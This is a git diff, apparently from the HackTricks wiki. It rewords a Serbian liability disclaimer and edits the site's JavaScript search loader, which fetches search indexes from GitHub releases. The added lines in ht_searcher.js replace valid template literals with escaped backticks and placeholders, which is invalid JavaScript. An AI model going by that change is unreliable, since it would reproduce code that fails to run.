aktivnosti, i svaka upotreba informacija sadržanih u ovoj knjizi je na sopstveni rizik i diskreciju korisnika. > -> Korisnik je isključivo odgovoran za sve radnje preduzete na osnovu informacija sadržanih u ovoj knjizi, i uvek bi trebalo da potraži profesionalni savet i pomoć pri pokušaju primene bilo koje od opisanih tehnika ili saveta. +> Korisnik je jedini odgovoran za bilo koje radnje preduzete na osnovu informacija sadržanih u ovoj knjizi i uvek bi trebalo da potraži profesionalni savet i pomoć pri pokušaju implementacije bilo koje od opisanih tehnika ili saveta. > -> Korišćenjem ove knjige, korisnik se slaže da oslobodi autore i izdavače od bilo kakve i sve odgovornosti za bilo kakvu štetu, gubitke ili povrede koje mogu proizaći iz korišćenja ove knjige ili bilo kojih informacija sadržanih u njoj. +> Korišćenjem ove knjige, korisnik se slaže da oslobodi autore i izdavače od bilo kakve i sve odgovornosti i odgovornosti za eventualne štete, gubitke ili povrede koje mogu proizaći iz korišćenja ove knjige ili bilo kojih informacija u njoj. {{#include ../banners/hacktricks-training.md}} diff --git a/theme/ai.js b/theme/ai.js index 761454181..22e64f5f8 100644 --- a/theme/ai.js +++ b/theme/ai.js @@ -491,3 +491,4 @@ handle.addEventListener("touchstart", onStart, { passive: false }); } })(); + diff --git a/theme/ht_searcher.js b/theme/ht_searcher.js index 77f10f607..6b105f263 100644 --- a/theme/ht_searcher.js +++ b/theme/ht_searcher.js @@ -68,11 +68,11 @@ const mainReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks/releases/download'; const cloudReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks-cloud/releases/download'; - const mainTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master'])); - const cloudTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master'])); + const mainTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master'])); + const cloudTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master'])); - const MAIN_REMOTE_SOURCES = mainTags.map(tag => `${mainReleaseBase}/${tag}/searchindex.js`); - const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => `${cloudReleaseBase}/${tag}/searchindex.js`); + const MAIN_REMOTE_SOURCES = mainTags.map(tag => \`\${mainReleaseBase}/\${tag}/searchindex.js\`); + const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => \`\${cloudReleaseBase}/\${tag}/searchindex.js\`); const indices = []; const main = await loadWithFallback(MAIN_REMOTE_SOURCES , '/searchindex.js', false); if(main) indices.push(main); @@ -208,3 +208,4 @@ listOut.classList.toggle('hidden',!docs.length); }; })(); +